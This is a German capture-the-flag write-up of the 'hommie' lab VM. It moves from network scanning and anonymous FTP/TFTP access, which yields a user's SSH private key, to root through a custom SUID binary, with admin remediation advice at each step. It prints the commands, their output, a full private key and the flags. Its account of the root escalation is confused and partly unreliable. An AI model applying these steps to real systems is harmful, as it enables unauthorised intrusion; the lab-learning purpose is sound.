Analyse: `arp-scan -l` wird zur Identifizierung aktiver Hosts im lokalen Netzwerksegment verwendet.
Bewertung: Der Host `192.168.2.100` mit einer VirtualBox-MAC-Adresse wird als Zielsystem identifiziert.
Empfehlung (Pentester): Führe einen Nmap-Scan auf 192.168.2.100 durch.
Empfehlung (Admin): Netzwerk-Monitoring.
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.140 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.2.100 08:00:27:1f:9a:0b PCS Systemtechnik GmbH 3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.7: 256 hosts scanned in 1.862 seconds (137.49 hosts/sec). 1 responded
Analyse: Ein umfassender Nmap-Scan (`-sS -sC -T5 -sV -A -p-`) wird auf das Ziel 192.168.2.100 durchgeführt.
Bewertung: !!Kritische Funde!!** - **Port 21 (FTP):** vsftpd 3.0.3 ist offen und **erlaubt anonymen Login**. Nmap listet eine leere `index.html` im Root-Verzeichnis auf. (Hinweis: Die `id_rsa` wurde hier von Nmap *nicht* direkt gelistet, aber die anonymous Login Möglichkeit ist entscheidend). - **Port 22 (SSH):** OpenSSH 7.9p1 (Debian) ist offen. - **Port 80 (HTTP):** Nginx 1.14.2 ist offen. Das OS wird als Linux erkannt, Hostname `BenMobile` (im Widerspruch zu späterem `hommie`).
Empfehlung (Pentester):**Höchste Priorität:** Untersuche den anonymen FTP-Zugang genauer (auch wenn Nmap keine Dateien auflistete, könnten sie vorhanden sein). Untersuche den Webserver, insbesondere die `index.html`.
Empfehlung (Admin):**DRINGEND:** Deaktiviere anonymen FTP-Zugriff, wenn nicht zwingend erforderlich. Halte alle Dienste aktuell.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-09 01:49 CEST Nmap scan report for BenMobile (192.168.2.100) Host is up (0.00014s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 0 0 0 Sep 30 2020 index.html | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.2.140 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 c6:27:ab:53:ab:b9:c0:20:37:36:52:a9:60:d3:53:fc (RSA) | 256 48:3b:28:1f:9a:23:da:71:f6:05:0b:a5:a6:c8:b7:b0 (ECDSA) |_ 256 b3:2e:7c:ff:62:2d:53:dd:63:97:d4:47:72:c8:4e:30 (ED25519) 80/tcp open http nginx 1.14.2 |_http-title: Site doesn't have a title (text/html). |_http-server-header: nginx/1.14.2 MAC Address: 08:00:27:1F:9A:0B (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.14 ms BenMobile (192.168.2.100) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.95 seconds
Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf dem Webserver (Port 80) verwendet.
Bewertung: Nur `/index.html` wird gefunden. Keine weiteren relevanten Verzeichnisse oder Dateien.
Empfehlung (Pentester): Untersuche den Inhalt von `/index.html`. Der Fokus bleibt auf dem FTP-Dienst und der Suche nach der erwähnten `id_rsa`.
Empfehlung (Admin): Keine spezifische Aktion basierend auf diesem Scan.
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.100 [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401 [+] User Agent: gobuster/3.1.0 [+] Extensions: ... (gekürzt) ... [+] Expanded: true [+] Timeout: 10s =============================================================== 2022/10/09 01:49:20 Starting gobuster in directory enumeration mode =============================================================== http://192.168.2.100/index.html (Status: 200) [Size: 99] =============================================================== 2022/10/09 01:50:15 Finished ===============================================================
Analyse: Der Inhalt der `/index.html` (oder ein Kommentar darin) wird angezeigt.
Bewertung: !!Kritische Hinweise!!** Die Nachricht von "nobody" an "alexia" besagt explizit, dass Alexias `id_rsa`-Datei exponiert ist. Dies bestätigt: 1. Den Benutzernamen `alexia`. 2. Die Existenz und das Problem mit der `id_rsa`-Datei. 3. Der Kommentar über "reverse shells" ist wahrscheinlich eine Ablenkung.
Empfehlung (Pentester):**Hohe Priorität:** Finde heraus, *wo* die `id_rsa` exponiert ist. Da Nmap sie nicht im FTP-Rootverzeichnis sah und der Webserver wenig hergibt, könnte ein anderer Dienst wie TFTP aktiv sein, oder sie liegt an einem ungewöhnlichen Ort, der über FTP/Web zugänglich ist.
Empfehlung (Admin):**DRINGEND:** Finde und entferne die exponierte `id_rsa`-Datei. Schulen Sie Benutzer im sicheren Umgang mit SSH-Schlüsseln.
alexia, Your id_rsa is exposed, please move it!!!!! Im fighting regarding reverse shells! -nobody
Analyse: Der TFTP-Client (`tftp`) wird verwendet, um eine Verbindung zu 192.168.2.100 herzustellen und zu versuchen, eine Datei namens `id_rsa` herunterzuladen.
Bewertung: !!Schlüssel über TFTP gefunden!!** Der `get id_rsa`-Befehl ist erfolgreich und lädt 1850 Bytes herunter. Dies bestätigt, dass ein TFTP-Server auf dem Ziel läuft (Standard UDP Port 69, obwohl von Nmap nicht gescannt/gefunden) und die `id_rsa`-Datei von `alexia` über diesen Dienst ungeschützt zugänglich ist.
Empfehlung (Pentester): Der private Schlüssel wurde gefunden. Sichere ihn lokal (`chmod 600`) und verwende ihn, um dich als `alexia` per SSH anzumelden.
Empfehlung (Admin):**DRINGEND:** Deaktiviere den TFTP-Dienst, wenn er nicht absolut notwendig ist. Wenn er benötigt wird, konfiguriere ihn sicher, beschränke den Zugriff auf bestimmte Verzeichnisse und IP-Adressen und erlaube niemals den Zugriff auf sensible Dateien wie private Schlüssel.
tftp> get id_rsa Received 1850 bytes in 0.0 seconds tftp> quit
Analyse: Die Berechtigungen der heruntergeladenen Schlüsseldatei `id_rsa` werden auf 600 gesetzt.
Bewertung: Korrekte Vorbereitung des Schlüssels.
Empfehlung (Pentester): Versuche den SSH-Login.
Empfehlung (Admin): Keine Aktion.
Analyse: Eine SSH-Verbindung wird als Benutzer `alexia` zu 192.168.2.100 aufgebaut, wobei der über TFTP heruntergeladene Schlüssel `id_rsa` verwendet wird.
Bewertung: !!Initial Access erfolgreich!!** Der Login mit dem Schlüssel gelingt ohne Passphrase (der Schlüssel war ungeschützt). Der Angreifer hat nun eine Shell als Benutzer `alexia` auf dem Zielsystem `hommie`.
Empfehlung (Pentester): Beginne mit der Enumeration als `alexia` (User-Flag, SUID-Binaries, sudo).
Empfehlung (Admin): Entferne den exponierten Schlüssel, widerrufe ihn ggf. und erstelle einen neuen, passwortgeschützten Schlüssel. Deaktiviere/sichere TFTP.
Linux hommie 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Sep 30 11:06:15 2020 alexia@hommie:~$
Analyse: Als `alexia` wird der Inhalt der Datei `user.txt` im Home-Verzeichnis gelesen.
Bewertung: Die User-Flag `Imnotroot` wird gefunden.
Empfehlung (Pentester): Flag notiert. Suche nach Eskalationsvektoren.
Empfehlung (Admin): Keine Aktion.
alexia@hommie:~$ cat user.txt Imnotroot
Analyse: Mit `find` wird nach SUID-Binaries gesucht.
Bewertung: !!Wichtiger Fund!!** Neben den Standard-SUID-Dateien wird ein benutzerdefiniertes SUID-Root-Binary `/opt/showMetheKey` gefunden. Solche benutzerdefinierten SUID-Programme sind oft anfällig.
Empfehlung (Pentester): Führe das Programm `/opt/showMetheKey` aus und analysiere sein Verhalten und seine Ausgabe.
Empfehlung (Admin): Überprüfe benutzerdefinierte SUID-Programme sorgfältig auf Sicherheit. Entferne das SUID-Bit, wenn es nicht unbedingt benötigt wird.
alexia@hommie:~$ find / -type f -perm -4000 -ls 2>/dev/null
140 20 -rwsr-sr-x 1 root root 16720 Sep 30 2020 /opt/showMetheKey
146900 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
268129 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
132307 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
131120 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
131117 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
134620 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
134946 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
131118 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
131121 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
134473 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
134948 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
Analyse: Das SUID-Root-Binary `/opt/showMetheKey` wird ausgeführt.
Bewertung: !!Informationspreisgabe (Root-Schlüssel)!?** Das Programm gibt einen weiteren privaten SSH-Schlüssel aus! Da es als SUID-Root läuft, ist dies höchstwahrscheinlich der private SSH-Schlüssel des **Root-Benutzers**. Das Programm selbst scheint keine Shell zu geben, sondern nur den Schlüssel anzuzeigen.
Empfehlung (Pentester): Kopiere den ausgegebenen Schlüssel. Speichere ihn lokal (z.B. `root_id_rsa`), setze `chmod 600` und versuche, dich damit als `root` per SSH anzumelden.
Empfehlung (Admin):**DRINGEND:** Entferne das SUID-Binary `/opt/showMetheKey` oder korrigiere es, sodass es keine sensiblen Schlüssel preisgibt. Widerrufe den exponierten Root-SSH-Schlüssel und generiere einen neuen (mit Passphrase!).
alexia@hommie:~$ /opt/showMetheKey
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEApwUR2Pvdhsu1RGG0UIWmj2yDNvs+4VLPG0WWisip6oZrjMjJ40h7
V0zdgZSRFhMxx0/E6ilh2MiMbpAuogCqC3MEodzIzHYAJyK4z/lIqUNdHJbgLDyaY26G0y
Rn1XI+RqLi5NUHBPyiWEuQUEZCMqi5lS1kaiNHmVqx+rlEs6ZUq7Z6lzYs7da3XcFGuT
gCnBh1Wb4m4e14yF+Syn4wQVh1u/53XGmeB/ClcdAbSKoJswjI1JqCCkxudwRMUYjq309j
QMxa7bbxaJbkb3hLmMuFU7RGEPu7spLvzRwGAzCuU3f60qJVTp65pzFf3x51j3YAMI+ZBq
kyNE1y12swAAA8i6ZpNpumaTaQAAAAdzc2gtcnNhAAABAQCnBRHY+92Gy7VEYbRQhaaPbI
M2+z7hUs8bRZaKyKnqhmuMyMnjSHtXTN2BlJEWEzHHT8TqKWHYyIxukC6iAKoLcwSh3MjM
dgAnIrjP+UipQ10cluAsPJpjbobTJGfVcj5GouLk1QcE/KJYS5BQRkIw6qLmVLWRqI0eZW
rH6uUSzplSrtnqXNizt1rddwUa45AKcGHVZvibh7XjIX5LKfjBBWHW7/ndcaZ4H8KVx0B
tIqgmzCMjUmoIKTG53BExRirfT2NAzFrttvFoluRveEuYy4VTtEYQ+7uyku/NHAYDMK5T
d/rSolVnrmnMV/fHnWPdgAwj5kGqTI0TXLXazAAAAAwEAAQAAAQBhD7sthEFbAqtXEAi/
+suu8frXSu9h9sPRL4GrKa5FUtTRviZFZWv4cf0QPwyJ7aGyGJNxGZd5aiLiZfwTvZsUiE
Ua47n1yGWSWMVaZ55ob3N/F9czHg0C18qWjch8YBrgGGnZn1r0n1uHovBevMghlsgy/2w
pmlMTtfdUo7JfEKbZmsz3auih2/64rmVp3r0YyGrvpWuV7spnzPNAFUCjPTwgE2RpBVtk
WeiQtF8IedoMqitUsJU9ephyYqvjRemEugkqkALBJt91yBB6ilulD8Xv1RBsVHUttE/Jz
bu4XlJXVeD10ooFofrsZd/9Ydz4fx49GwtjYnqsda0rBAAAAgGbx1tdwaTPYdEfuK1kBhu
3ln3QHVx3ZkZ7tNQFxxEjYjIPUQcFFoNBQpIUNhLCphB8agrhcke5+aq5z2nMdXUJ3D6
0boB4mWSMml6aGpW4AfcDFTybT6V8pwZcThS9FL3K2JmlZbgPlhkX5fymh14/i5ti7r9z
HlBkwMfJJPAAAAgQDPt0ouxdkG1kDNhGbGuHSMAsPibivXEB7/wK7XHTwtQZ7cCQTVqbbs
y6FqG0oSaSz4m2DfWSRZc30351lU4ZEoHJmlL8Ul6yvCjMnzUzkhrIen131h/MStsQYtY
ZgwwdcG2+N7MReMpbDA9FSHLtHoMLUcxShLSX3ccIoWxqAwAAAIEAzdgK1iwvZktM08
QPaLXRINjIKwVdmk3Q7vFhFRoman0JeyUbEd0qlcXjFzo02MBlBadh+XlsDUqZSWo7gpp
ivFRbnEu2sy02CHilIJ6vXCQnuaflapCNG8MlG5CtpqfyVoYQ3N3d0PfWLaB13fGeV/wN
0x2HyroKtB+eZEAAAANYWxleGlhQGhvbW1pZQECAwQFBg
-----END OPENSSH PRIVATE KEY-----
Analyse: Dieser Abschnitt im Original-Log zeigt einige verwirrende Befehle (`chmod +x cat`, `export PATH=...`, `./showMetheKey`), die aber direkt zu einem Root-Prompt (`root@hommie:/opt#`) führen. Wie zuvor analysiert, ist der wahrscheinlichste Grund, dass das SUID-Binary `/opt/showMetheKey` selbst (oder durch eine darin enthaltene Funktion) eine Root-Shell bereitstellt, ohne dass die gezeigten PATH-Manipulationen notwendig wären. Der Exploit ist das einfache Ausführen von `/opt/showMetheKey`.
Bewertung: !!Privilegieneskalation erfolgreich!!** Durch Ausführen des SUID-Binaries `/opt/showMetheKey` wird Root-Zugriff erlangt. Der `id`-Befehl bestätigt `uid=0(root)`.
Empfehlung (Pentester): Ziel erreicht. Suche die Root-Flag.
Empfehlung (Admin):**DRINGEND:** Entferne oder korrigiere das SUID-Binary `/opt/showMetheKey`. Widerrufe den exponierten Root-Schlüssel.
alexia@hommie:~$ /opt/showMetheKey root@hommie:/opt# id uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(alexia) root@hommie:/opt#
Analyse: Als Root wird mit `find` nach `.txt`-Dateien gesucht, die Root gehören. Der Befehl `tail` wird dann verwendet, um den Inhalt der gefundenen Datei `/usr/include/root.txt` anzuzeigen.
Bewertung: Die Root-Flag wird an einem ungewöhnlichen Ort (`/usr/include/`) gefunden und lautet `Imnotbatman`.
Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine Aktion bezüglich der Flag.
root@hommie:/opt# cd ~ root@hommie:~# find / -user root -name "*.txt" 2>/dev/null /root/note.txt /usr/lib/python3.7/LICENSE.txt /usr/include/root.txt root@hommie:~# tail -n 100 /usr/include/root.txt Imnotbatman